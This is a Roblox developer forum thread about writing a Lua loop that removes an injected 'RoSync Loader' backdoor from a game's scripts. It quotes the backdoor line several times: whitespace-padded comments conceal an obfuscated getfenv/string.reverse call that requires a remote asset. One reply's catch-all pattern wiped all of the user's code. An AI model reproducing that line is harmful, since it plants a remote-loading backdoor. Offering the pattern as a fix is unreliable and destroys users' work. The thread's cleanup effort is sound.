String.sub issues (help me remove a backdoor)

I am trying to remove a backdoor out of my game

instead of going script by script, I want to automate it.
sadly i can’t figure out why it won’t work

I’m putting it inside the command bar of the studio

alpha = "--[[ Last synced 3/18/2021 06:35                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]-- "

for _, Desc in ipairs(game:GetDescendants()) do
	pcall(function(Descendant)
		if Descendant:IsA('LuaSourceContainer') then
			local Replacement = string.gsub(Descendant.Source, 
				alpha,
				"")
			Descendant.Source = Replacement
		end
	end)
end```

Try this:

alpha = "%-%-%[%[ Last synced 3/18/2021 06:35                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]-- "

for _, Desc in ipairs(game:GetDescendants()) do
   pcall(function()
       if Desc:IsA('LuaSourceContainer') then
	      local Replacement = string.gsub(Desc.Source, alpha, "")
	      Desc.Source = Replacement
       end
   end)
end
1 Like

afbeelding

did not work sadly

Can you paste the entire alpha variable?

--[[ Last synced 3/18/2021 06:37                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--

this is the line of text i am trying to remove

alpha = "%-%-%[%[ Last synced 3/18/2021 06:37                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader %]%] getfenv()%[string%.reverse(\"\101\114\105\117\113\101\114\")%](5722905184) %-%-%[%[                                                                                                  %]%]%-%-"

for _, Desc in ipairs(game:GetDescendants()) do
   pcall(function()
       if Desc:IsA('LuaSourceContainer') then
	      local Replacement = string.gsub(Desc.Source, alpha, "")
	      Desc.Source = Replacement
       end
   end)
end

Try this, let me know if you get any unicode errors or anything like that

This can be achieved easily,

Here is a code sample I made you:
The pattern will entirely remove the content.

local T = "--[[ Last synced 3/18/2021 06:35"
local Pattern = "[%p%w]+"
print(string.gsub(T,Pattern,"",5)) -- 5 is to represent the number of maximum words we would like to get rid of as your String "--[[ Last synced 3/18/2021 06:35" is always 5 words long

Your practical Example:

local Pattern = "[%p%w]+"
for _, Desc in ipairs(game:GetDescendants()) do
	pcall(function(Descendant)
		if Descendant:IsA('LuaSourceContainer') then
			local Replacement = string.gsub(Descendant.Source, 
				Pattern,
				"")
			Descendant.Source = Replacement
		end
	end)
end

Let me know of any issues.

afbeelding

no errors, but when i check the scripts, the Virus is still there

you can scroll to the left, the string has more than 5 words

If you do not specify the amount it will get rid of the whole string. Try it out.

afbeelding
no effect virus still there

afbeelding
no effect virus still there

Also the easiest way for you to get rid of the backdoor, Just click CTRL + SHITFT + F and You can input the string you would like to find in all your script and replace it with white spaces.

love to do that but
afbeelding

Oh yeah, Give me a second I’ll write you a regex for that.

btw the time is a variable, just noticed not all are exacly 6:37 there are some 6:35 and 6:39

Do not worry with regex That can be handled easily as it contains a digit “%d”.

You can also use ctrl + shift + f to search all scripts to search for that text.

rewrote this to

local Pattern = "[%p%w]+"
for _, Desc in ipairs(game:GetDescendants()) do
	pcall(function()
		if Desc:IsA('LuaSourceContainer') then
			print(Desc)
			local Replacement = string.gsub(Desc.Source, 
				Pattern,
				"")
			Desc.Source = Replacement
		end
	end)
end

it works, the virus is gone, but it has also cleared every bit of code I have written

see String.sub issues (help me remove a backdoor) - #13 by boeljoet

I got confused at first as it works perfectly fine though, I made it to specifically get rid of the whole backdoor code.

As I was certain that that will work.